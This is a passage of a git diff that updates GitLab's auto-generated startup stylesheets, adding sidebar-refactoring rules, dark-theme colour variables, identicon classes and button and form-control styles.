+ padding-bottom: 0.125rem;
+ padding-left: 0.5rem;
+ padding-right: 0.5rem;
+ background-color: #064787;
+ color: #9dc7f1;
+}
+body.sidebar-refactoring
+ .sidebar-top-level-items
+ > li.active
+ .sidebar-sub-level-items:not(.is-fly-out-only) {
+ display: block;
+}
+body.sidebar-refactoring
+ .sidebar-top-level-items
+ > li.active
+ .badge.badge-pill {
+ font-weight: 400;
+ color: #9dc7f1;
+}
+body.sidebar-refactoring .sidebar-sub-level-items {
+ padding-top: 0;
+ padding-bottom: 0;
+ display: none;
+}
+body.sidebar-refactoring .sidebar-sub-level-items:not(.fly-out-list) li > a {
+ padding-left: 2.25rem;
+}
+body.sidebar-refactoring .toggle-sidebar-button,
+body.sidebar-refactoring .close-nav-button {
+ height: 48px;
+ padding: 0 16px;
+ background-color: #303030;
+ border: 0;
+ color: #999;
+ display: flex;
+ align-items: center;
+ background-color: #303030;
+ border-top: 1px solid #404040;
+ color: #2f2a6b;
+ position: fixed;
+ bottom: 0;
+ width: 220px;
}
-.monospace {
- font-family: "Menlo", "DejaVu Sans Mono", "Liberation Mono", "Consolas", "Ubuntu Mono", "Courier New", "andale mono", "lucida console", monospace;
+body.sidebar-refactoring .toggle-sidebar-button .collapse-text,
+body.sidebar-refactoring .toggle-sidebar-button .icon-chevron-double-lg-left,
+body.sidebar-refactoring .toggle-sidebar-button .icon-chevron-double-lg-right,
+body.sidebar-refactoring .close-nav-button .collapse-text,
+body.sidebar-refactoring .close-nav-button .icon-chevron-double-lg-left,
+body.sidebar-refactoring .close-nav-button .icon-chevron-double-lg-right {
+ color: inherit;
+}
+body.sidebar-refactoring .collapse-text {
+ white-space: nowrap;
+ overflow: hidden;
+}
+body.sidebar-refactoring .sidebar-collapsed-desktop .context-header {
+ height: 60px;
+ width: 48px;
}
-input::-moz-placeholder,
-textarea::-moz-placeholder {
- color: #a7a7a7;
+body.sidebar-refactoring .sidebar-collapsed-desktop .context-header a {
+ padding: 10px 4px;
+}
+body.sidebar-refactoring .sidebar-collapsed-desktop .sidebar-context-title {
+ border: 0;
+ clip: rect(0, 0, 0, 0);
+ height: 1px;
+ margin: -1px;
+ overflow: hidden;
+ padding: 0;
+ position: absolute;
+ white-space: nowrap;
+ width: 1px;
+}
+body.sidebar-refactoring .sidebar-collapsed-desktop .context-header {
+ height: auto;
+}
+body.sidebar-refactoring .sidebar-collapsed-desktop .context-header a {
+ padding: 0.25rem;
+}
+body.sidebar-refactoring
+ .sidebar-collapsed-desktop
+ .sidebar-top-level-items
+ > li
+ .sidebar-sub-level-items:not(.flyout-list) {
+ display: none;
+}
+body.sidebar-refactoring .sidebar-collapsed-desktop .nav-icon-container {
+ margin-right: 0;
+}
+body.sidebar-refactoring .sidebar-collapsed-desktop .toggle-sidebar-button {
+ width: 48px;
+}
+body.sidebar-refactoring
+ .sidebar-collapsed-desktop
+ .toggle-sidebar-button
+ .collapse-text {
+ display: none;
+}
+body.sidebar-refactoring
+ .sidebar-collapsed-desktop
+ .toggle-sidebar-button
+ .icon-chevron-double-lg-left {
+ transform: rotate(180deg);
+ display: block;
+ margin: 0;
+}
+body.sidebar-refactoring .close-nav-button {
+ display: none;
+}
+@media (max-width: 767.98px) {
+ body.sidebar-refactoring .close-nav-button {
+ display: flex;
+ }
+ body.sidebar-refactoring .toggle-sidebar-button {
+ display: none;
+ }
+}
+input::-moz-placeholder {
+ color: #868686;
opacity: 1;
}
-input::-ms-input-placeholder,
-textarea::-ms-input-placeholder {
- color: #a7a7a7;
+input::-ms-input-placeholder {
+ color: #868686;
}
-input:-ms-input-placeholder,
-textarea:-ms-input-placeholder {
- color: #a7a7a7;
+input:-ms-input-placeholder {
+ color: #868686;
}
svg {
fill: currentColor;
}
-
svg.s12 {
width: 12px;
height: 12px;
}
-
svg.s16 {
width: 16px;
height: 16px;
}
-
svg.s18 {
width: 18px;
height: 18px;
}
-
+svg.s32 {
+ width: 32px;
+ height: 32px;
+}
svg.s12 {
vertical-align: -1px;
}
-
svg.s16 {
vertical-align: -3px;
}
-.sr-only {
- position: absolute;
- width: 1px;
- height: 1px;
- padding: 0;
- margin: -1px;
- overflow: hidden;
- clip: rect(0, 0, 0, 0);
- border: 0;
-}
-table.code {
- width: 100%;
- font-family: "Menlo", "DejaVu Sans Mono", "Liberation Mono", "Consolas", "Ubuntu Mono", "Courier New", "andale mono", "lucida console", monospace;
- border: 0;
- border-collapse: separate;
- margin: 0;
- padding: 0;
- table-layout: fixed;
- border-radius: 0 0 4px 4px;
-}
-.frame .badge.badge-pill {
- position: absolute;
- background-color: #1b69b6;
- color: #333;
- border: #333 1px solid;
- min-height: 16px;
- padding: 5px 8px;
- border-radius: 12px;
-}
-.frame .badge.badge-pill {
- transform: translate(-50%, -50%);
-}
-.color-label {
- padding: 0 0.5rem;
- line-height: 16px;
- border-radius: 100px;
- color: #333;
-}
-.label-link {
- display: inline-flex;
- vertical-align: text-bottom;
-}
-.milestones {
- padding: 8px;
- margin-top: 8px;
- border-radius: 4px;
- background-color: #4f4f4f;
-}
.search {
margin: 0 8px;
}
.search form {
+ display: block;
margin: 0;
padding: 4px;
width: 200px;
@@ -1750,7 +1910,6 @@ table.code {
border: 0;
border-radius: 4px;
}
-
@media (min-width: 1200px) {
.search form {
width: 320px;
@@ -1794,43 +1953,43 @@ table.code {
max-height: 400px;
overflow: auto;
}
-
@media (min-width: 1200px) {
.search .search-input-wrap .dropdown-menu {
width: 320px;
}
}
-.search .search-input-wrap .dropdown-content {
- max-height: 382px;
-}
-.settings {
- border-top: 1px solid #4f4f4f;
-}
-.settings:first-of-type {
- margin-top: 10px;
- border: 0;
-}
-.settings + div .settings:first-of-type {
- margin-top: 0;
- border-top: 1px solid #4f4f4f;
+.search .identicon {
+ flex-basis: 16px;
+ flex-shrink: 0;
+ margin-right: 4px;
}
-.avatar, .avatar-container {
+.avatar,
+.avatar-container {
float: left;
margin-right: 16px;
border-radius: 50%;
border: 1px solid #333;
}
-.s16.avatar, .s16.avatar-container {
+.avatar.s16,
+.avatar-container.s16 {
width: 16px;
height: 16px;
margin-right: 8px;
}
-.s18.avatar, .s18.avatar-container {
+.avatar.s18,
+.avatar-container.s18 {
width: 18px;
height: 18px;
margin-right: 8px;
}
-.s40.avatar, .s40.avatar-container {
+.avatar.s32,
+.avatar-container.s32 {
+ width: 32px;
+ height: 32px;
+ margin-right: 8px;
+}
+.avatar.s40,
+.avatar-container.s40 {
width: 40px;
height: 40px;
margin-right: 8px;
@@ -1844,15 +2003,49 @@ table.code {
overflow: hidden;
border-color: rgba(255, 255, 255, 0.1);
}
-.avatar.center {
- font-size: 14px;
- line-height: 1.8em;
- text-align: center;
-}
.avatar.avatar-tile {
border-radius: 0;
border: 0;
}
+.identicon {
+ text-align: center;
+ vertical-align: top;
+ color: #525252;
+ background-color: #eee;
+}
+.identicon.s16 {
+ font-size: 10px;
+ line-height: 16px;
+}
+.identicon.s32 {
+ font-size: 14px;
+ line-height: 32px;
+}
+.identicon.s40 {
+ font-size: 16px;
+ line-height: 38px;
+}
+.identicon.bg1 {
+ background-color: #ffebee;
+}
+.identicon.bg2 {
+ background-color: #f3e5f5;
+}
+.identicon.bg3 {
+ background-color: #e8eaf6;
+}
+.identicon.bg4 {
+ background-color: #e3f2fd;
+}
+.identicon.bg5 {
+ background-color: #e0f2f1;
+}
+.identicon.bg6 {
+ background-color: #fbe9e7;
+}
+.identicon.bg7 {
+ background-color: #eee;
+}
.avatar-container {
overflow: hidden;
display: flex;
@@ -1884,9 +2077,204 @@ table.code {
.rect-avatar.s18 {
border-radius: 2px;
}
+.rect-avatar.s32,
+body.sidebar-refactoring
+ .nav-sidebar-inner-scroll
+ > div.context-header
+ a
+ .avatar-container.rect-avatar
+ .avatar.s32,
+body.sidebar-refactoring
+ .sidebar-top-level-items
+ .context-header
+ a
+ .avatar-container.rect-avatar
+ .avatar.s32 {
+ border-radius: 4px;
+}
.rect-avatar.s40 {
border-radius: 4px;
}
+body.gl-dark .navbar-gitlab {
+ background-color: #fafafa;
+}
+body.gl-dark .navbar-gitlab .navbar-collapse {
+ color: #fafafa;
+}
+body.gl-dark .navbar-gitlab .container-fluid .navbar-toggler {
+ border-left: 1px solid #b3b3b3;
+ color: #fafafa;
+}
+body.gl-dark .navbar-gitlab .navbar-sub-nav > li.active > a,
+body.gl-dark .navbar-gitlab .navbar-sub-nav > li.active > button,
+body.gl-dark .navbar-gitlab .navbar-nav > li.active > a,
+body.gl-dark .navbar-gitlab .navbar-nav > li.active > button {
+ color: #fafafa;
+ background-color: #333;
+}
+body.gl-dark .navbar-gitlab .navbar-sub-nav {
+ color: #fafafa;
+}
+body.gl-dark .navbar-gitlab .nav > li {
+ color: #fafafa;
+}
+body.gl-dark .navbar-gitlab .nav > li > a .notification-dot {
+ border: 2px solid #fafafa;
+}
+body.gl-dark
+ .navbar-gitlab
+ .nav
+ > li
+ > a.header-help-dropdown-toggle
+ .notification-dot {
+ background-color: #fafafa;
+}
+body.gl-dark
+ .navbar-gitlab
+ .nav
+ > li
+ > a.header-user-dropdown-toggle
+ .header-user-avatar {
+ border-color: #fafafa;
+}
+body.gl-dark .navbar-gitlab .nav > li.active > a {
+ color: #fafafa;
+ background-color: #333;
+}
+body.gl-dark .navbar-gitlab .nav > li.active > a .notification-dot {
+ border-color: #333;
+}
+body.gl-dark
+ .navbar-gitlab
+ .nav
+ > li.active
+ > a.header-help-dropdown-toggle
+ .notification-dot {
+ background-color: #fafafa;
+}
+body.gl-dark .search form {
+ background-color: rgba(250, 250, 250, 0.2);
+}
+body.gl-dark .search .search-input::-ms-input-placeholder {
+ color: rgba(250, 250, 250, 0.8);
+}
+body.gl-dark .search .search-input::placeholder {
+ color: rgba(250, 250, 250, 0.8);
+}
+body.gl-dark .search .search-input-wrap .search-icon,
+body.gl-dark .search .search-input-wrap .clear-icon {
+ fill: rgba(250, 250, 250, 0.8);
+}
+body.gl-dark .nav-sidebar li.active {
+ box-shadow: inset 4px 0 0 #999;
+}
+body.gl-dark .nav-sidebar li.active > a {
+ color: #f0f0f0;
+}
+body.gl-dark .nav-sidebar li.active .nav-icon-container svg {
+ fill: #f0f0f0;
+}
+body.gl-dark .sidebar-top-level-items > li.active .badge.badge-pill {
+ color: #f0f0f0;
+}
+body.gl-dark .logo-text svg {
+ fill: var(--gl-text-color);
+}
+body.gl-dark .navbar-gitlab {
+ background-color: var(--gray-50);
+ box-shadow: 0 1px 0 0 var(--gray-100);
+}
+body.gl-dark .navbar-gitlab .navbar-sub-nav li.active > a,
+body.gl-dark .navbar-gitlab .navbar-sub-nav li.active > button,
+body.gl-dark .navbar-gitlab .navbar-nav li.active > a,
+body.gl-dark .navbar-gitlab .navbar-nav li.active > button {
+ color: var(--gl-text-color);
+ background-color: var(--gray-200);
+}
+body.gl-dark .navbar-gitlab .search form {
+ background-color: var(--gray-100);
+ box-shadow: inset 0 0 0 1px var(--border-color);
+}
+body.gl-dark .navbar-gitlab .search form:active {
+ background-color: var(--gray-100);
+ box-shadow: inset 0 0 0 1px var(--blue-200);
+}
+
+body.gl-dark {
+ --gray-10: #1f1f1f;
+ --gray-50: #303030;
+ --gray-100: #404040;
+ --gray-200: #525252;
+ --gray-300: #5e5e5e;
+ --gray-400: #868686;
+ --gray-500: #999;
+ --gray-600: #bfbfbf;
+ --gray-700: #dbdbdb;
+ --gray-800: #f0f0f0;
+ --gray-900: #fafafa;
+ --gray-950: #fff;
+ --green-50: #0a4020;
+ --green-100: #0d532a;
+ --green-200: #24663b;
+ --green-300: #217645;
+ --green-400: #108548;
+ --green-500: #2da160;
+ --green-600: #52b87a;
+ --green-700: #91d4a8;
+ --green-800: #c3e6cd;
+ --green-900: #ecf4ee;
+ --green-950: #f1fdf6;
+ --blue-50: #033464;
+ --blue-100: #064787;
+ --blue-200: #0b5cad;
+ --blue-300: #1068bf;
+ --blue-400: #1f75cb;
+ --blue-500: #428fdc;
+ --blue-600: #63a6e9;
+ --blue-700: #9dc7f1;
+ --blue-800: #cbe2f9;
+ --blue-900: #e9f3fc;
+ --blue-950: #f2f9ff;
+ --orange-50: #5c2900;
+ --orange-100: #703800;
+ --orange-200: #8f4700;
+ --orange-300: #9e5400;
+ --orange-400: #ab6100;
+ --orange-500: #c17d10;
+ --orange-600: #d99530;
+ --orange-700: #e9be74;
+ --orange-800: #f5d9a8;
+ --orange-900: #fdf1dd;
+ --orange-950: #fff4e1;
+ --red-50: #660e00;
+ --red-100: #8d1300;
+ --red-200: #ae1800;
+ --red-300: #c91c00;
+ --red-400: #dd2b0e;
+ --red-500: #ec5941;
+ --red-600: #f57f6c;
+ --red-700: #fcb5aa;
+ --red-800: #fdd4cd;
+ --red-900: #fcf1ef;
+ --red-950: #fff4f3;
+ --indigo-50: #1a1a40;
+ --indigo-100: #292961;
+ --indigo-200: #393982;
+ --indigo-300: #4b4ba3;
+ --indigo-400: #5b5bbd;
+ --indigo-500: #6666c4;
+ --indigo-600: #7c7ccc;
+ --indigo-700: #a6a6de;
+ --indigo-800: #d1d1f0;
+ --indigo-900: #ebebfa;
+ --indigo-950: #f7f7ff;
+ --indigo-900-alpha-008: rgba(235, 235, 250, 0.08);
+ --gl-text-color: #fafafa;
+ --border-color: #4f4f4f;
+ --white: #333;
+ --black: #fff;
+ --svg-status-bg: #333;
+}
.tab-width-8 {
-moz-tab-size: 8;
tab-size: 8;
@@ -1902,12 +2290,40 @@ table.code {
white-space: nowrap;
width: 1px;
}
+.gl-border-none\! {
+ border-style: none !important;
+}
+.gl-display-none {
+ display: none;
+}
+@media (min-width: 36rem) {
+ .gl-sm-display-block {
+ display: block;
+ }
+}
+.gl-absolute {
+ position: absolute;
+}
+.gl-px-3 {
+ padding-left: 0.5rem;
+ padding-right: 0.5rem;
+}
+.gl-pr-2 {
+ padding-right: 0.25rem;
+}
.gl-ml-3 {
margin-left: 0.5rem;
}
-.content-wrapper > .alert-wrapper,
-#content-body, .modal-dialog {
- display: block;
+.gl-mx-0\! {
+ margin-left: 0 !important;
+ margin-right: 0 !important;
}
-@import 'cloaking';
+.gl-font-sm {
+ font-size: 0.75rem;
+}
+.gl-font-weight-bold {
+ font-weight: 600;
+}
+
+@import "startup/cloaking";
@include cloak-startup-scss(none);
diff --git a/app/assets/stylesheets/startup/startup-general.scss b/app/assets/stylesheets/startup/startup-general.scss
index 44da509481d..a05e27b6af0 100644
--- a/app/assets/stylesheets/startup/startup-general.scss
+++ b/app/assets/stylesheets/startup/startup-general.scss
@@ -1,3 +1,6 @@
+// DO NOT EDIT! This is auto-generated from "yarn run generate:startup_css"
+// Please see the feedback issue for more details and help:
+// https://gitlab.com/gitlab-org/gitlab/-/issues/331812
@charset "UTF-8";
*,
*::before,
@@ -8,12 +11,15 @@ html {
font-family: sans-serif;
line-height: 1.15;
}
- header, nav, section {
+aside,
+header {
display: block;
}
body {
margin: 0;
- font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Noto Sans", Ubuntu, Cantarell, "Helvetica Neue", sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji";
+ font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto,
+ "Noto Sans", Ubuntu, Cantarell, "Helvetica Neue", sans-serif,
+ "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji";
font-size: 1rem;
font-weight: 400;
line-height: 1.5;
@@ -21,55 +27,29 @@ body {
text-align: left;
background-color: #fff;
}
-h1, h2, h3 {
+h1 {
margin-top: 0;
margin-bottom: 0.25rem;
}
-p {
- margin-top: 0;
- margin-bottom: 1rem;
-}
-
ul {
margin-top: 0;
margin-bottom: 1rem;
}
-
ul ul {
margin-bottom: 0;
}
-
strong {
font-weight: bolder;
}
-sub {
- position: relative;
- font-size: 75%;
- line-height: 0;
- vertical-align: baseline;
-}
-sub {
- bottom: -.25em;
-}
a {
color: #007bff;
text-decoration: none;
background-color: transparent;
}
-a:not([href]) {
+a:not([href]):not([class]) {
color: inherit;
text-decoration: none;
}
-pre,
-code {
- font-family: "Menlo", "DejaVu Sans Mono", "Liberation Mono", "Consolas", "Ubuntu Mono", "Courier New", "andale mono", "lucida console", monospace;
- font-size: 1em;
-}
-pre {
- margin-top: 0;
- margin-bottom: 1rem;
- overflow: auto;
-}
img {
vertical-align: middle;
border-style: none;
@@ -78,18 +58,11 @@ svg {
overflow: hidden;
vertical-align: middle;
}
-table {
- border-collapse: collapse;
-}
-th {
- text-align: inherit;
-}
button {
border-radius: 0;
}
input,
-button,
-textarea {
+button {
margin: 0;
font-family: inherit;
font-size: inherit;
@@ -102,103 +75,34 @@ input {
button {
text-transform: none;
}
+[role="button"] {
+ cursor: pointer;
+}
button:not(:disabled),
-[type="button"]:not(:disabled),
-[type="reset"]:not(:disabled) {
+[type="button"]:not(:disabled) {
cursor: pointer;
}
button::-moz-focus-inner,
-[type="button"]::-moz-focus-inner,
-[type="reset"]::-moz-focus-inner {
+[type="button"]::-moz-focus-inner {
padding: 0;
border-style: none;
}
-textarea {
- overflow: auto;
- resize: vertical;
-}
[type="search"] {
outline-offset: -2px;
}
-summary {
- display: list-item;
- cursor: pointer;
-}
-template {
- display: none;
-}
-[hidden] {
- display: none !important;
-}
-h1, h2, h3,
-.h1, .h2, .h3 {
+h1 {
margin-bottom: 0.25rem;
font-weight: 600;
line-height: 1.2;
color: #303030;
}
-h1, .h1 {
+h1 {
font-size: 2.1875rem;
}
-h2, .h2 {
- font-size: 1.75rem;
-}
-h3, .h3 {
- font-size: 1.53125rem;
-}
.list-unstyled {
padding-left: 0;
list-style: none;
}
-code {
- font-size: 90%;
- color: #1f1f1f;
- word-wrap: break-word;
-}
-a > code {
- color: inherit;
-}
-pre {
- display: block;
- font-size: 90%;
- color: #303030;
-}
-pre code {
- font-size: inherit;
- color: inherit;
- word-break: normal;
-}
-.container {
- width: 100%;
- padding-right: 15px;
- padding-left: 15px;
- margin-right: auto;
- margin-left: auto;
-}
-
-@media (min-width: 576px) {
- .container {
- max-width: 540px;
- }
-}
-
-@media (min-width: 768px) {
- .container {
- max-width: 720px;
- }
-}
-
-@media (min-width: 992px) {
- .container {
- max-width: 960px;
- }
-}
-
-@media (min-width: 1200px) {
- .container {
- max-width: 1140px;
- }
-}
.container-fluid {
width: 100%;
padding-right: 15px;
@@ -206,48 +110,7 @@ pre code {
margin-right: auto;
margin-left: auto;
}
-
-@media (min-width: 576px) {
- .container {
- max-width: 540px;
- }
-}
-
-@media (min-width: 768px) {
- .container {
- max-width: 720px;
- }
-}
-
-@media (min-width: 992px) {
- .container {
- max-width: 960px;
- }
-}
-
-@media (min-width: 1200px) {
- .container {
- max-width: 1140px;
- }
-}
-.row {
- display: flex;
- flex-wrap: wrap;
- margin-right: -15px;
- margin-left: -15px;
-}
-.table {
- width: 100%;
- margin-bottom: 0.5rem;
- color: #303030;
-}
-.table th,
-.table td {
- padding: 0.75rem;
- vertical-align: top;
- border-top: 1px solid #dbdbdb;
-}
- .search form {
+.form-control {
display: block;
width: 100%;
height: 34px;
@@ -261,18 +124,21 @@ pre code {
border: 1px solid #dbdbdb;
border-radius: 0.25rem;
}
-
@media (prefers-reduced-motion: reduce) {
}
- .search form:-moz-focusring {
+.form-control:-moz-focusring {
color: transparent;
text-shadow: 0 0 0 #303030;
}
- .search form::placeholder {
+.form-control::-ms-input-placeholder {
color: #5e5e5e;
opacity: 1;
}
- .search form:disabled {
+.form-control::placeholder {
+ color: #5e5e5e;
+ opacity: 1;
+}
+.form-control:disabled {
background-color: #fafafa;
opacity: 1;
}
@@ -281,9 +147,8 @@ pre code {
flex-flow: row wrap;
align-items: center;
}
-
@media (min-width: 576px) {
- .form-inline .search form, .search .form-inline form {
+ .form-inline .form-control {
display: inline-block;
width: auto;
vertical-align: middle;
@@ -295,7 +160,7 @@ pre code {
color: #303030;
text-align: center;
vertical-align: middle;
- cursor: pointer;
+ -moz-user-select: none;
user-select: none;
background-color: transparent;
border: 1px solid transparent;
@@ -304,26 +169,24 @@ pre code {
line-height: 20px;
border-radius: 0.25rem;
}
-
@media (prefers-reduced-motion: reduce) {
}
-.btn.disabled, .btn:disabled {
+.btn:disabled {
opacity: 0.65;
}
-a.btn.disabled {
- pointer-events: none;
+.btn:not(:disabled):not(.disabled) {
+ cursor: pointer;
}
.collapse:not(.show) {
display: none;
}
-
.dropdown {
position: relative;
}
- .dropdown-menu-toggle {
+.dropdown-menu-toggle {
white-space: nowrap;
}
- .dropdown-menu-toggle::after {
+.dropdown-menu-toggle::after {
display: inline-block;
margin-left: 0.255em;
vertical-align: 0.255em;
@@ -333,7 +196,7 @@ a.btn.disabled {
border-bottom: 0;
border-left: 0.3em solid transparent;
}
- .dropdown-menu-toggle:empty::after {
+.dropdown-menu-toggle:empty::after {
margin-left: 0;
}
.dropdown-menu {
@@ -355,19 +218,6 @@ a.btn.disabled {
border: 1px solid rgba(0, 0, 0, 0.15);
border-radius: 0.25rem;
}
-.dropdown-menu-right {
- right: 0;
- left: auto;
-}
- .divider {
- height: 0;
- margin: 4px 0;
- overflow: hidden;
- border-top: 1px solid #dbdbdb;
-}
-.dropdown-menu.show {
- display: block;
-}
.nav {
display: flex;
flex-wrap: wrap;
@@ -383,7 +233,6 @@ a.btn.disabled {
justify-content: space-between;
padding: 0.25rem 0.5rem;
}
-.navbar .container,
.navbar .container-fluid {
display: flex;
flex-wrap: wrap;
@@ -414,15 +263,12 @@ a.btn.disabled {
border: 1px solid transparent;
border-radius: 0.25rem;
}
-
@media (max-width: 575.98px) {
- .navbar-expand-sm > .container,
.navbar-expand-sm > .container-fluid {
padding-right: 0;
padding-left: 0;
}
}
-
@media (min-width: 576px) {
.navbar-expand-sm {
flex-flow: row nowrap;
@@ -434,7 +280,6 @@ a.btn.disabled {
.navbar-expand-sm .navbar-nav .dropdown-menu {
position: absolute;
}
- .navbar-expand-sm > .container,
.navbar-expand-sm > .container-fluid {
flex-wrap: nowrap;
}
@@ -446,17 +291,6 @@ a.btn.disabled {
display: none;
}
}
-.card {
- position: relative;
- display: flex;
- flex-direction: column;
- min-width: 0;
- word-wrap: break-word;
- background-color: #fff;
- background-clip: border-box;
- border: 1px solid #dbdbdb;
- border-radius: 0.25rem;
-}
.badge {
display: inline-block;
padding: 0.25em 0.4em;
@@ -468,7 +302,6 @@ a.btn.disabled {
vertical-align: baseline;
border-radius: 0.25rem;
}
-
@media (prefers-reduced-motion: reduce) {
}
.badge:empty {
@@ -483,66 +316,8 @@ a.btn.disabled {
padding-left: 0.6em;
border-radius: 10rem;
}
-.media {
- display: flex;
- align-items: flex-start;
-}
-.close {
- float: right;
- font-size: 1.5rem;
- font-weight: 600;
- line-height: 1;
- color: #000;
- text-shadow: 0 1px 0 #fff;
- opacity: .5;
-}
-button.close {
- padding: 0;
- background-color: transparent;
- border: 0;
- appearance: none;
-}
-a.close.disabled {
- pointer-events: none;
-}
-.modal-dialog {
- position: relative;
- width: auto;
- margin: 0.5rem;
- pointer-events: none;
-}
-
-@media (min-width: 576px) {
- .modal-dialog {
- max-width: 500px;
- margin: 1.75rem auto;
- }
-}
-.bg-transparent {
- background-color: transparent !important;
-}
-.border {
- border: 1px solid #dbdbdb !important;
-}
-.border-top {
- border-top: 1px solid #dbdbdb !important;
-}
-.border-right {
- border-right: 1px solid #dbdbdb !important;
-}
-.border-bottom {
- border-bottom: 1px solid #dbdbdb !important;
-}
-.border-left {
- border-left: 1px solid #dbdbdb !important;
-}
-.rounded {
- border-radius: 0.25rem !important;
-}
-.clearfix::after {
- display: block;
- clear: both;
- content: "";
+.rounded-circle {
+ border-radius: 50% !important;
}
.d-none {
display: none !important;
@@ -553,19 +328,19 @@ a.close.disabled {
.d-block {
display: block !important;
}
-
@media (min-width: 576px) {
.d-sm-none {
display: none !important;
}
+ .d-sm-inline-block {
+ display: inline-block !important;
+ }
}
-
@media (min-width: 768px) {
.d-md-block {
display: block !important;
}
}
-
@media (min-width: 992px) {
.d-lg-none {
display: none !important;
@@ -574,18 +349,11 @@ a.close.disabled {
display: block !important;
}
}
-
@media (min-width: 1200px) {
.d-xl-block {
display: block !important;
}
}
-.flex-wrap {
- flex-wrap: wrap !important;
-}
-.float-right {
- float: right !important;
-}
.sr-only {
position: absolute;
width: 1px;
@@ -600,73 +368,58 @@ a.close.disabled {
.m-auto {
margin: auto !important;
}
-.text-nowrap {
- white-space: nowrap !important;
+.gl-button {
+ display: inline-flex;
}
-.visible {
- visibility: visible !important;
+.gl-button:not(.btn-link):active {
+ text-decoration: none;
}
- .search form.focus {
+.gl-button.gl-button {
+ border-width: 0;
+ padding-top: 0.5rem;
+ padding-bottom: 0.5rem;
+ padding-left: 0.75rem;
+ padding-right: 0.75rem;
+ background-color: transparent;
+ line-height: 1rem;
color: #303030;
+ fill: currentColor;
+ box-shadow: inset 0 0 0 1px #bfbfbf;
+ justify-content: center;
+ align-items: center;
+ font-size: 0.875rem;
+ border-radius: 0.25rem;
+}
+.gl-button.gl-button.btn-default {
background-color: #fff;
- border-color: #80bdff;
- outline: 0;
- box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.25);
}
-.gl-badge {
- display: inline-flex;
- align-items: center;
- font-size: 0.75rem;
- font-weight: 400;
- line-height: 1rem;
- padding-top: 0.25rem;
- padding-bottom: 0.25rem;
- padding-left: 0.5rem;
- padding-right: 0.5rem;
+.gl-button.gl-button.btn-default:active,
+.gl-button.gl-button.btn-default.active {
+ box-shadow: inset 0 0 0 2px #5e5e5e, 0 0 0 1px rgba(255, 255, 255, 0.4),
+ 0 0 0 4px rgba(31, 117, 203, 0.48);
outline: none;
+ background-color: #dbdbdb;
}
-body, .search form,
+body,
+.form-control,
.search form {
font-size: 0.875rem;
}
button,
-html [type='button'],
-[type='reset'],
-[role='button'] {
+html [type="button"],
+[role="button"] {
cursor: pointer;
}
-h1,
-.h1,
-h2,
-.h2,
-h3,
-.h3 {
+h1 {
margin-top: 20px;
margin-bottom: 10px;
}
-input[type='file'] {
- line-height: 1;
-}
-
strong {
font-weight: bold;
}
a {
color: #1068bf;
}
-code {
- padding: 2px 4px;
- color: #1f1f1f;
- background-color: #f0f0f0;
- border-radius: 4px;
-}
-.code > code {
- background-color: inherit;
- padding: unset;
-}
-table {
- border-spacing: 0;
-}
.hidden {
display: none !important;
visibility: hidden !important;
@@ -674,7 +427,7 @@ table {
.hide {
display: none;
}
- .dropdown-menu-toggle::after {
+.dropdown-menu-toggle::after {
display: none;
}
.badge:not(.gl-badge) {
@@ -684,8 +437,11 @@ table {
font-weight: 400;
display: inline-block;
}
-pre code {
- white-space: pre-wrap;
+.divider {
+ height: 0;
+ margin: 4px 0;
+ overflow: hidden;
+ border-top: 1px solid #dbdbdb;
}
.toggle-sidebar-button .collapse-text,
.toggle-sidebar-button .icon-chevron-double-lg-left,
@@ -701,29 +457,6 @@ html {
body {
text-decoration-skip: ink;
}
-.content-wrapper {
- margin-top: 40px;
- padding-bottom: 100px;
-}
-.container {
- padding-top: 0;
- z-index: 5;
-}
-.container .content {
- margin: 0;
-}
-
-@media (max-width: 575.98px) {
- .container .content {
- margin-top: 20px;
- }
-}
-
-@media (max-width: 575.98px) {
- .container .container .title {
- padding-left: 15px !important;
- }
-}
.btn {
border-radius: 4px;
font-size: 0.875rem;
@@ -735,7 +468,12 @@ body {
color: #303030;
white-space: nowrap;
}
-.btn:active, .btn.active {
+.btn:active {
+ background-color: #f0f0f0;
+ box-shadow: none;
+}
+.btn:active,
+.btn.active {
background-color: #eaeaea;
border-color: #e3e3e3;
color: #303030;
@@ -744,8 +482,7 @@ body {
height: 15px;
width: 15px;
}
-.btn svg:not(:last-child),
-.btn .fa:not(:last-child) {
+.btn svg:not(:last-child) {
margin-right: 5px;
}
.badge.badge-pill:not(.gl-badge) {
@@ -754,78 +491,16 @@ body {
color: #525252;
vertical-align: baseline;
}
-.hint {
- font-style: italic;
- color: #bfbfbf;
-}
-.bold {
- font-weight: 600;
-}
-pre.wrap {
- word-break: break-word;
- white-space: pre-wrap;
-}
-table a code {
- position: relative;
- top: -2px;
- margin-right: 3px;
-}
-.loading {
- margin: 20px auto;
- height: 40px;
- color: #525252;
- font-size: 32px;
- text-align: center;
-}
-.highlight {
- text-shadow: none;
-}
-.chart {
- overflow: hidden;
- height: 220px;
-}
-.break-word {
- word-wrap: break-word;
-}
-.center {
- text-align: center;
-}
-.block {
- display: block;
-}
-.flex {
- display: flex;
-}
-.flex-grow {
- flex-grow: 1;
+.gl-font-sm {
+ font-size: 12px;
}
.dropdown {
position: relative;
}
-.show.dropdown .dropdown-menu {
- transform: translateY(0);
- display: block;
- min-height: 40px;
- max-height: 312px;
- overflow-y: auto;
-}
-
-@media (max-width: 575.98px) {
- .show.dropdown .dropdown-menu {
- width: 100%;
- }
-}
- .show.dropdown .dropdown-menu-toggle,
-.show.dropdown .dropdown-menu-toggle {
- border-color: #c4c4c4;
-}
-.show.dropdown [data-toggle='dropdown'] {
- outline: 0;
-}
.search-input-container .dropdown-menu {
margin-top: 11px;
}
- .dropdown-menu-toggle {
+.dropdown-menu-toggle {
padding: 6px 8px 6px 10px;
background-color: #fff;
color: #303030;
@@ -835,21 +510,16 @@ table a code {
border-radius: 0.25rem;
white-space: nowrap;
}
- .no-outline.dropdown-menu-toggle {
+.no-outline.dropdown-menu-toggle {
outline: 0;
}
- .dropdown-menu-toggle .fa {
- color: #c4c4c4;
-}
-.dropdown-menu-toggle {
+.dropdown-menu-toggle.dropdown-menu-toggle {
+ justify-content: flex-start;
+ overflow: hidden;
padding-right: 25px;
position: relative;
- width: 160px;
text-overflow: ellipsis;
- overflow: hidden;
-}
-.dropdown-menu-toggle .fa {
- position: absolute;
+ width: 160px;
